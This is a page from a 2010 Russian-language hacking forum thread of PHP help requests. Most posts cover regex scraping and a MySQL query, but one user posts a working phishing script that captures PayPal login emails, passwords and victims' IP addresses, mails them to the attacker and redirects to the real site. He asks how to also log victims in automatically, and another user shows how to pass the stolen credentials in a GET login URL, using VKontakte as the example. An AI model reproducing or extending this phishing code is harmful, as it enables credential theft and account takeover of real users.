Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

22.03.2010, 12:41
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме: 2603363
Репутация:
278
|
|
Сообщение от PabloPicasso
нужна помощь, я в регулярках не силен, а нужно написать preg_math который возвращал содержимое между (class="news_1">) и (</table>)
написал так
PHP код:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.rap.ru/");
$result = curl_exec($ch);
curl_close($ch);
preg_match("|class=\"news_1\">(.+)</table>|iU",$result,$main);
echo $main[0];
?>
но вместо нескольких строк вылазит вся страница, даже если я комментирую //echo $main[0];
плиз хелп!!1
PHP код:
$content = file_get_contents( "http://www.rap.ru" );
preg_match( '#<table width="100%" cellpadding="0" cellspacing="0" class="news_1">(.+)</tr>[\r\n]</table>#Uis' , $content, $array );
$content = $array[1];
$content = preg_replace( '#src="(.+)" alt#', 'src="http://www.rap.ru\\1" alt', $content);
echo $content;
Работает.
Картинки тоже отображаются
|
|
|

22.03.2010, 12:49
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
PHP код:
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
preg_match ("|<table.+?class=\"news_1\">(.+)</table>|iUs", $result, $main);
echo $main[1];
|
|
|

22.03.2010, 12:54
|
|
Новичок
Регистрация: 02.01.2010
Сообщений: 23
Провел на форуме: 659771
Репутация:
33
|
|
Deathdreams, krypt3r спасиб, оба варианта гуд работают
|
|
|

22.03.2010, 15:28
|
|
Участник форума
Регистрация: 15.07.2009
Сообщений: 200
Провел на форуме: 147171
Репутация:
2
|
|
Из-за чего это может быть?
Делаю запрос к базе:
PHP код:
$nsql='SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2];
$nresult=mysql_query($nsql);
$nline=mysql_fetch_row($nresult);
а в $nline[1] лежит число 1, хотя в базе там лежит 3. И при изменении значения в базе число 1 так и остаётся.
|
|
|

22.03.2010, 17:11
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме: 2603363
Репутация:
278
|
|
Сообщение от Qb1024
Из-за чего это может быть?
Делаю запрос к базе:
PHP код:
$nsql='SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2];
$nresult=mysql_query($nsql);
$nline=mysql_fetch_row($nresult);
а в $nline[1] лежит число 1, хотя в базе там лежит 3. И при изменении значения в базе число 1 так и остаётся.
PHP]
$sql = mysql_query('SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2]);
while($ans_row = @mysql_fetch_array($sql)){
// тут действия с данными
}
[/PHP]
|
|
|

22.03.2010, 17:31
|
|
Banned
Регистрация: 14.06.2009
Сообщений: 256
Провел на форуме: 260151
Репутация:
105
|
|
Можно ли написать скрипт на php или perl, который автоматом будет заходить на сайт eset для скачки обновлений для антивируса и будет их копировать на другой ftp (где мне бесплатно)
Скриптик бы повесил на кротаб и было все круто)
заранее спасибо.
|
|
|

22.03.2010, 18:07
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Конечно можно.
|
|
|

22.03.2010, 19:09
|
|
Участник форума
Регистрация: 10.11.2009
Сообщений: 122
Провел на форуме: 1245844
Репутация:
199
|
|
Есть скрипт для фейка:
<?php
$mail="somemail@mail.ru"; //e-mail куда будут отправлятся отчеты
if ((isset($_POST["user_email"])) and (isset($_POST["user_password"]))) { //проверка существуют ли переменные
$s="paypal.com: ".$_POST["user_email"]; //создание темы письма
$m="Find passwordsomesite.com.
Lodin: ".$_POST["user_email"]."
Password: ".$_POST["user_password"]."
IP: ".$_SERVER["REMOTE_ADDR"]."
===============
Login and password was send from ".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."
mail($mail,$s,$m) or exit("<script language=JavaScript>window.location='?'</script>"); // отсылка письма
exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу
?>
Что и где нужно дописать, чтобы при вводе логина и пароля, кроме отправки данных на е-мейл, происходила переадресация и автоматическая авторизация на основном сайте (на который сделан фейк)?
|
|
|

22.03.2010, 19:24
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме: 6962560
Репутация:
536
|
|
Сообщение от Paul_Eckman
Что и где нужно дописать, чтобы при вводе логина и пароля, кроме отправки данных на е-мейл, происходила переадресация и автоматическая авторизация на основном сайте (на который сделан фейк)?
Дописывать нужно, когда идёт переадресация на реальный сайт, то есто тут:
PHP код:
exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу
Чтобы произошла автоматическая авторизация, посмотри, возможно ли на исходном сайте авторизоваться гет запросом, то есть по ссылке...
Например для сайта вконтакте ссылка такая :
'http://vkontakte.ru/login.php?email='.$_POST["user_email"].'&pass='.$_POST["user_password"] даёт авторизацию на сайте... Вот на неё и надо делать переадресацию.._)
|
|
|

22.03.2010, 20:14
|
|
Участник форума
Регистрация: 10.11.2009
Сообщений: 122
Провел на форуме: 1245844
Репутация:
199
|
|
Нет, к сожалению, авторизация идет через POST, через GET авторизоваться не получается ((
Т.е., без возможности ГЕТ запроса фейк с внутр. авторизацией никак не получится?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|